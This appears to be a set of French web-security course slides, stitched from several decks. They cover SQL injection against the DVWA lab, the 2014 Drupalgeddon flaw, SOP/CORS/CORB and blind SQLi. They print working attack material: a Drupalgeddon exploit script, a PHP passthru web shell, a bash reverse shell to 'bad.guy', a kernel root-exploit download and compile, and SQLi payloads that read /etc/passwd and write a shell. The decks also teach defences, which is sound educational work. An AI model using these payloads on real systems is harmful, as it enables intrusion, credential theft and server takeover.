de l'administrateur de cette cible!*
*Selon la cible: **Vous risquez gros**!*
## monsite.com
Utilisateur: <input type="text" name="username" value="mazenovi"><br />
Mot de passe: <input id="password" type="password" name="password" value="123admin"><br />
<input type="submit" value="s'authentifier">
### Que se passe-t-il quand on appuie sur le bouton?<!-- .element class="fragment roll-in" -->
## basiquement ...
![SQLi](images/sidoine/SQLi-1.png "SQLi")
### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" -->
Note:
- Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
- en clair
- Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
- dont le mot de passe
- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
- égalité = utilisateur authentifié
- différence = utilisateur ou mot de passe invalide
## http = carte postale
![SQLi](images/sidoine/SQLi-2-http.png "SQLi")
## https = enveloppe cachetée
![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
Note:
- Lors de la transmission du mot de passe => utiliser https
- il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
## ???
![SQLi](images/sidoine/SQLi-db-clear-question.png "SQLi")
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
## sqli
![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
## SQLi
* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10)
* depuis plusieurs années
* concerne tous les interpréteurs
* concerne tous les langages
* permet de
* lire des données protégées
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
## SQLi
```
http://dv.wa/vulnerabilities/sqli/
```
Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu
```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version
for the right syntax to use near ''''' at line 1
```
### intéressant!?<!-- .element class="fragment roll-in" -->
```
$id = $_GET['id'];
$getid = "SELECT first_name, last_name
FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql_error());
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
```
le serveur exécute donc la requête
```
SELECT first_name, last_name FROM users WHERE user_id = '''
```
et renvoie une erreur! chaîne de caractère non terminée ...
## SQLi / détournement
en suivant la logique
```
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1
```
devrait afficher la liste de tous les utilisateurs ...
essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu
#### toujours la même erreur!<!-- .element class="fragment roll-in" -->
### Pourquoi?<!-- .element class="fragment roll-in" -->
## SQLi / détournement
la requête exécutée est en fait
```
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1'
```
elle présente encore une erreur de chaîne de caractère non terminée!
### Comment faire?<!-- .element class="fragment roll-in" -->
#### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" -->
## SQLi / détournement
on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu
## Ca marche :D<!-- .element class="fragment roll-in" -->
## SQLi / détournement
Notez qu'on peut travailler directement sur l'url (industrialisation)
```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
```
soit en version encodée
```
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
```
#### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" -->
#### probablement dans la même table ...<!-- .element class="fragment roll-in" -->
#### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" -->
## Say hello to UNION!
```
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
```
![Union](images/sidoine/sql-union.png "Union")
### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" -->
## comment deviner le nombre de champs d'une requête SQL?
## jouer avec order BY
```
' OR 1=1 ORDER BY 2#
```
* si l'index correspond à un champs de la clause SELECT
* la requête s'exécute
* si l'index ne correspond pas à un champs de la clause SELECT
* la requête échoue
## Affichage des mots de passe
```
' AND 1=0 UNION SELECT user, password FROM users#
```
Les mots de passe sont hashés<!-- .element class="fragment roll-in" -->
* SHA256(passeenclair) <!-- .element class="fragment roll-in" -->
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" -->
* SHA256(admin) <!-- .element class="fragment roll-in" -->
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" -->
* MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" -->
* 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" -->
## sqli
![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
Note:
- Mot de passe hashé
## Rainbow tables
### [https://crackstation.net/](https://crackstation.net/)
* Hashs précalculés de mots de passe *communs*
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
* sha256 - admin
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* ????
## <i class="fa fa-medkit"></i> Bonnes pratiques
* stocker les mots de passe hashés<!-- .element class="fragment roll-in" -->
* <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
* valider la robustesse des mots de passe utilisateur<!-- .element class="fragment roll-in" -->
* minuscule + majuscule + spécial + numériques<!-- .element class="fragment roll-in" -->
* longueur minimum (passphrase)<!-- .element class="fragment roll-in" -->
* ajouter un sel<!-- .element class="fragment roll-in" -->
* SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" -->
## <i class="fa fa-medkit"></i> Bonnes pratiques
* filtrer par TOUTES les entrées par listes blanches
* caster
* [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
* si l'id est toujours un entier ...
* échappement des paramètres de requêtes
* [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
## <i class="fa fa-medkit"></i> Bonnes pratiques
* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
* PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
* [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
* [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* repérer les requêtes suspectes dans les logs
## <i class="fa fa-medkit"></i> Bonnes pratiques
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
* log le POST
* <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
* [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
* attention aux permissions sur la base de données
* information_schema ...
* Changer les préfixes de table des CMS quand c'est possible
## SQLi de la vraie vie (2014)
* les SQLi n'apparaissent pas (plus) de manière aussi grossière
* Voici une vraie faille du CMS drupal ...
## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
## La faille
* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
* Version: 7.x < 7.32
* Date: 2014-October-15
* Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
#### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" -->
### sans aucun privilège!<!-- .element class="fragment roll-in" -->
## Trouver un système vulnérable sur le www
[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
```
* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
* il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
## Le patch
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
```
* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de façon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
## Exploitation manuelle
remplacer
```html
<input id="edit-name" name="name" type="text">
```
par
```html
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```
![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->
Note:
- mettre un mot de passe
## Exploit
[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
```php
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```
```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```
## Backdoor
rerésente 68% des attaques
Simple backdoor shell
```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
```
* [passthru()](http://php.net/manual/fr/function.passthru.php)
## Backdoor
* Architecture Drupal
* menu_router
* un url = un callback + un tableau d'arguments sérialisés
```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```
Payload
```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```
[http://drup.al/backdoor](http://drup.al/backdoor)
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
## exploitation
```shell
$ php attack/exploit.php 'http://drup.al'
```
* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
* affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* affiche les paramètres SQL
## exploitation
```shell
nc -lvvp 1337
```
met le poste de l'attaquant en écoute sur le port 1337
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```
en version encodée
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```
* connecte le serveur sur l'IP de l'attaquant
Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
- [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
- sur ma maquette ca marche aussi sur le port 80 ...
## escalade de privilèges
* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
* environ tous les 2 ans
* [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
* fonctionne sur les archi 64bits uniquement
* kernel de 2.6.37 à 3.8.10
```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```
## W00T
![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->
## <i class="fa fa-medkit"></i> Bonnes pratiques
* un malheur n'arrive jamais seul
* [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
* système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
* réactives
* préoccupées par la sécurité
* bien suivre les mises à jour des produits
* et patcher asap quand nécessaire
\ No newline at end of file
# SOP / CORS / CORB
## a.k.a Same Origin Policy / Cross Origin Resource Sharing / Cross-Origin Read Blocking
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
* https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
* restreint les interactions aux ressources de même origine
* protocole + "://" + hôte + ":" + [port]
* concerne `<script>`, `<link>`, `<img>`, `<video>`, `<audio>`, `<object>`, `<embed>`, `@font-face`, `<iframe>`
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
protège l'intégrité de la page
```js
fetch('http://bad-guy.com/data.php')
.then((DOMResponse) => {
document
.getElementById("particualr-div")
.appendChild(DOMResponse);
});
```
![SOP](images/xss/sop.png "SOP")<!-- .element style="text-align: center" -->
### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy
protège la confidentialité des sessions
```js
fetch('https://gmail.com')
.then((sensitiveData) => {
fetch('https://gmail.com', {
method: 'POST',
body: JSON.stringify({
data: sensitiveData,
}),
headers: {
'Content-type': 'application/json; charset=UTF-8',
}
})
});
```
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
* contrôler les accès en mode cross-site
* concerne l'échange entre fournisseurs de services
* effectuer des transferts de données sécurisés
* entre sources sûres niveau injection & confidentialité
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
le client ajoute automatiquement une en-tête HTTP
```http
Origin: http://www.foo.com
```
le serveur doit ajouter une en tête HTTP d'autorisation pour le domaine
```http
Access-Control-Allow-Origin: http://www.foo.com
```
en-tête d'autorisation pour tous les domaines
```http
Access-Control-Allow-Origin: *
```
### <i class="fa fa-medkit"></i> **CORS** / Cross Origin Resource Sharing
* autorise tous les verbes HTTP
* [JSONP](http://igm.univ-mlv.fr/~dr/XPOSE2009/ajax_sop_jsonp/jsonp_presentation.html) n'autorisait que la méthode GET
* [<i class="fab fa-stack-overflow"></i> Disable firefox same origin policy](http://stackoverflow.com/questions/17088609/disable-firefox-same-origin-policy)
Note:
- l'introduction de cette nouvelle possibilité implique nécessairement que les serveurs doivent gérer de nouvelles entêtes, et doivent renvoyer les ressources avec de nouvelles entêtes également
- doit être supporté par le navigateur
- la valeur * est possible mais risquée
- requêtes simples, pré-vérifiées avec le verbe OPTIONS, avec habilitations en forcant l'envoie du cookie
### <i class="fa fa-medkit"></i> **CORB** / Cross-Origin Read Blocking
contrôle la cohérence du type MIME avec la balise appelante
* https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md
* https://dev.to/ms_74/what-is-corb-3m3f
\ No newline at end of file
# Injection SQL
## aka SQLi
![SQLi](images/sqli/sqlinjection_comics.png "SQLi")
### <i class="fa fa-cogs"></i> SQLi
* envoie de données à un interpréteur
* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**)
* toute source de données peut être utilisées
* paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
* au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
### <i class="fas fa-ice-cream"></i> SQLi / types
* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential)
* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* cas simple où les messages d'erreur base de données sont affichés
* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
* cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles
* Un comportement différent selon que la **payload** est exécutée ou non
### <i class="fa-solid fa-bomb"></i> SQLi / payloads
* lire des données "protégées"
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
### <i class="fa-solid fa-bomb"></i> SQLi / low
* détectable en tentant les caractères d'échappement **"** ou **'** en
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small>
* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL
```
User ID: ' OR 1=1 #
```
* affiche la liste de tous les utilisateurs
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small>
<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs
### <i class="fa-solid fa-bomb"></i> SQLi / low
déterminer le nombre de paramètres de la requêtes
```
User ID: ' OR 1=1 ORDER BY 1 #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small>
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small>
<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT
### <i class="fa-solid fa-bomb"></i> SQLi / low
repérer qui est qui?
```
User ID: 6' UNION SELECT 1,2 #
```
```
First name: 1
Surname: 2
```
afficher la base de données et l'utilisateur courant
```
User ID: 6' UNION SELECT database(),current_user() #
```
```
First name: dvwa
Surname: dvwa@localhost
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small>
<i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table**
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
User ID: 6' UNION SELECT table_name,2
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dvwa' #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
User ID: 6' UNION SELECT column_name,2
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'dvwa' #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher les champs `user` & `password` de la table `users`
```
User ID: 6' UNION SELECT user,password FROM users #
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small>
<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel**
### <i class="fa-solid fa-bomb"></i> SQLi / medium
![select2input](images/sqli/select2input.png "select2input")
détection
```
User ID: ' OR 1=1 #
```
<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés
### <i class="fa-solid fa-bomb"></i> SQLi / medium
```
User ID: 1 OR 1=1 #
```
<i class="fas fa-circle-check"></i> le paramètre id est un entier
reprendre les étapes SQLi / low en remplacant
```
User ID: 6' ... #
```
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```
User ID: 6 ... #
```
<small>
`TABLE_SCHEMA = 'dvwa'`
<i class="fa-solid fa-arrow-right-arrow-left"></i>
`TABLE_SCHEMA = CHAR(100,118,119,97)`
</small>
### <i class="fa-solid fa-bomb"></i> SQLi / high
Toute la séquence SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* plus de message d'erreur
* plus d'affichage des champs
* identifier les comportements
```
User ID: 1
```
```
User ID exists in the database.
```
```
User ID: 6
```
```
User ID is MISSING from the database.
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* identifier les comportements
* on sait que l'utilisateur 1 existe
```
User ID: 1' AND '1' = '2' #
```
```
User ID is MISSING from the database.
```
```
User ID: 1' AND '1' = '1' #
```
```
User ID exists in the database.
```
<i class="fa-solid fa-trophy"></i> il y a une injection
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom de la base de données
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 #
```
* `DATABASE()` : renvoie la chaîne "dvwa"
* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()`
* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nombre de caractère dans le nom de la base de données
```
1' AND LENGTH(DATABASE()) = 4 #
```
déterminer le nom de la base de données
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97 # a
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom de la table
```
1' AND ORD(MID((SELECT table_name
FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g
```
déterminer le nombre de colonne de la table users
```
1' AND ORD(MID((SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nom des colonnes de la table users
```
1' AND ORD(MID((SELECT column_name
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='users'
AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p
```
déterminer le hash d'un user
```
1' AND ORD(MID((SELECT password FROM dvwa.users
WHERE user='Pablo'),1,1)) = 48 # 0
```
### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium
reprendre les étapes Blind SQLi / low en remplacant
```
User ID: 1' ... #
```
<i class="fa-solid fa-arrow-right-arrow-left"></i>
```
User ID: 1 ... #
```
<small>
`table_schema='dvwa'`
<i class="fa-solid fa-arrow-right-arrow-left"></i>
`table_schema=0x64767761`
</small>
### <i class="fa-solid fa-bomb"></i> Blind SQLi / high
Toute la séquence Blind SQLi / low est valide
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
* Si aucun output n'est disponible
* on ajoute du calcul artificiellement
* la **payload** est exécutée
* le temps de réponse = temps de traitement + temps de calcul artificiel
* la **payload** n'est pas exécutée
* le temps de réponse = temps de traitement
problématique similaire à une booléenne
### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based
```
User ID: 1' AND 1=0 UNION SELECT NULL,
benchmark(5000000, encode('MSG', 'pass-phrase'))
FROM users #
```
* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
* DoS
* utile pour les **True Blind SQLi** ou **Time Based**
### <i class="fa-solid fa-bomb"></i> SQLi / Low
<i class="fa-solid fa-triangle-exclamation"></i> sous certaines conditions
```
User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") #
```
affiche tout le contenu du fichier /etc/passwd
```
User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>"
INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" #
```
écrit le fichier shell.php dans le système de fichiers
### <i class="fa-solid fa-screwdriver-wrench"></i> SQLi / Low / SQLmap
* [SQLmap](http://sqlmap.org/) Fait tous le boulot à votre palce
* en ligne de commmande
* affiche des résultats propres
* abstrait
* le moteur de base de données
* les différentes techniques d'injections
```http
sqlmap --url "https://dv.wa/vulnerabilities/sqli/?id= #;"
--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low"
--tables
```
<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php)
* Utiliser des requêtes préparées
* PDO, ORM : Doctrine2, Propel
* Être le plus silencieux possibles quant aux requêtes invalides
* [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php)
* [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php)
* Repérer les requêtes suspectes dans les logs
Note:
- TODO regarder si les messages sont désactiables à partir de MySQL
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* Filtrage par listes blanches
* caster
* [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ...
* si l'id est toujours un entier ...
* échappement des paramètres de requêtes
* [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php)
### <i class="fa fa-medkit"></i> SQLi / Se préserver
* Web Application Firewall (WAF)
* [mod_security](https://www.modsecurity.org/)
* <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html)
* Les privilèges de l'utilisateur SQL ont un sens
* [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file)
* attention aux permissions sur la base de données
* information_schema ...
* Changer les préfixes de table des CMS quand c'est possible
## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
#### <i class="fa fa-file-pdf-o"></i> [FR](http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20French.pdf)
### <i class="fa fa-book"></i> [All Attack types](https://www.owasp.org/index.php/Category:Attack)
## [Owasp top 10 (2013)](https://www.owasp.org/index.php/Top_10_2013-Top_10)
1. [Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
